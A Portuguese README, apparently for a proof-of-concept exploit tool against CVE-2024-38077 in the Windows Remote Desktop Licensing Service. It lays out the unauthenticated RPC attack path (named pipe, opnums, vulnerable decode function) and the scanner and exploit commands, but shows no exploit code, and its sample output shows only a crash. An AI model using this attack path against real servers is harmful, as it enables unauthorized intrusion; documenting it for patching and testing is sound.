## https://sploitus.com/exploit?id=F3B871AA-F8EC-50F6-80B4-82B2E37D7C94
# CVE-2024-38077 - MadLicense




**Zero-Click Remote Code Execution no Windows Remote Desktop Licensing Service**
---
## 📋 Sobre
Este repositório contém uma implementação de Proof of Concept (PoC) para a vulnerabilidade **CVE-2024-38077**, também conhecida como **MadLicense**.
### 🔓 Características Zero-Click
| Característica | Descrição |
|---------------|-----------|
| **Preauth** | Não requer autenticação |
| **Zero-Click** | Não requer interação do usuário |
| **SYSTEM** | Execução com máximos privilégios |
| **Network Only** | Apenas conectividade de rede necessária |
---
## 🎯 A Vulnerabilidade
A falha reside na função `CDataCoding::DecodeData()` do serviço de licenciamento do Remote Desktop:
```
Função Vulnerável: CDataCoding::DecodeData()
Tipo: Heap Buffer Overflow
Causa: Cálculo incorreto do tamanho do buffer para dados Base64
```
### Fluxo de Exploração
```
┌─────────────────────────────────────────────────────────────┐
│ 1. Conexão RPC (sem autenticação) │
│ └─► ncacn_np:TARGET[\pipe\TermServLicensing] │
│ │
│ 2. Obter Context Handle │
│ └─► TLSRpcConnect (Opnum 1) │
│ │
│ 3. Trigger Heap Overflow │
│ └─► TLSRpcTelephoneRegisterLKP (Opnum 49) │
│ └─► CDataCoding::DecodeData() - OVERFLOW! │
│ │
│ 4. Execução de Código Arbitrário │
│ └─► Privilégios NT AUTHORITY\SYSTEM │
└─────────────────────────────────────────────────────────────┘
```
---
## 🖥️ Sistemas Afetados
| Sistema | Versão | Status |
|---------|--------|--------|
| Windows Server | 2000 - 2025 | ⚠️ Vulnerável* |
*Sistemas com Remote Desktop Licensing Service habilitado e sem o patch de segurança aplicado.
---
## 🛠️ Instalação
```bash
# Clone o repositório
git clone https://github.com/SEU_USUARIO/CVE-2024-38077-MadLicense.git
cd CVE-2024-38077-MadLicense
# Instale as dependências
pip install impacket
# Ou use requirements.txt
pip install -r requirements.txt
```
---
## 📖 Uso
### Modo Scanner (Verificação)
Verifica se o alvo é potencialmente vulnerável sem causar crash:
```bash
python test.py -t --check
```
### Modo Exploit
Executa o exploit:
```bash
python test.py -t --exploit
```
### Modo Verboso
Para mais detalhes durante a execução:
```bash
python test.py -t --exploit -v
```
### Informações sobre a CVE
```bash
python test.py --about
```
### Todas as opções
```
usage: test.py [-h] [-t TARGET] [--check] [--exploit] [-v] [--timeout TIMEOUT] [--about]
CVE-2024-38077 MadLicense - Zero-Click RCE
optional arguments:
-h, --help Mostra esta mensagem de ajuda
-t, --target TARGET IP do alvo
--check Modo scanner (verifica vulnerabilidade)
--exploit Modo exploit (executa RCE)
-v, --verbose Modo verboso
--timeout TIMEOUT Timeout em segundos (default: 10)
--about Informações sobre o programa
```
---
## 📊 Exemplo de Saída
```
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2024-38077 - MadLicense Zero-Click RCE ║
║ Windows Remote Desktop Licensing Service Exploit ║
╚══════════════════════════════════════════════════════════════════╝
[+] Alvo: 192.168.1.100
[+] Modo: Zero-Click (sem autenticação)
[*] === FASE 1: Reconhecimento ===
[+] Porta RPC aberta
[*] === FASE 2: Conexão RPC ===
[+] Conectado via \pipe\TermServLicensing
[*] === FASE 3: Obtendo Handle ===
[+] Context handle obtido
[*] === FASE 4: Verificação de Versão ===
[+] Versão do serviço: 5
[*] === FASE 5: Disparando Vulnerabilidade ===
[+] VULNERÁVEL! Servidor crashou (Access Violation)
```
---
## 🛡️ Mitigação
1. **Aplicar Patches**: Instale as atualizações de segurança da Microsoft
2. **Desabilitar Serviço**: Se o RDL Service não for necessário, desabilite-o
3. **Firewall**: Bloqueie acesso RPC não autorizado (porta 135 e portas dinâmicas)
4. **Segmentação**: Isole servidores críticos em VLANs separadas
---
## 📚 Referências
- [Microsoft Security Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38077)
- [NVD - CVE-2024-38077](https://nvd.nist.gov/vuln/detail/CVE-2024-38077)
- [Windows RDP Licensing Service Analysis](https://cybersecuritynews.com/madlicense-0-click-rce-flaw/)
---
## ⚠️ Aviso Legal
```
╔═══════════════════════════════════════════════════════════════════════════╗
║ AVISO IMPORTANTE ║
╠═══════════════════════════════════════════════════════════════════════════╣
║ Esta ferramenta é fornecida APENAS para fins educacionais e testes de ║
║ segurança AUTORIZADOS. O uso não autorizado desta ferramenta contra ║
║ sistemas que você não possui ou não tem permissão explícita para ║
║ testar é ILEGAL e pode resultar em: ║
║ ║
║ • Processos criminais ║
║ • Multas significativas ║
║ • Prisão ║
║ ║
║ Ao usar esta ferramenta, você concorda em assumir total responsabilidade║
║ por suas ações. Os autores não são responsáveis por qualquer uso ║
║ indevido ou danos causados. ║
╚═══════════════════════════════════════════════════════════════════════════╝
```
---
## 📜 Licença
Este projeto está sob a licença MIT. Veja o arquivo [LICENSE](LICENSE) para mais detalhes.
---
**Use com responsabilidade. Hack the planet! 🌍**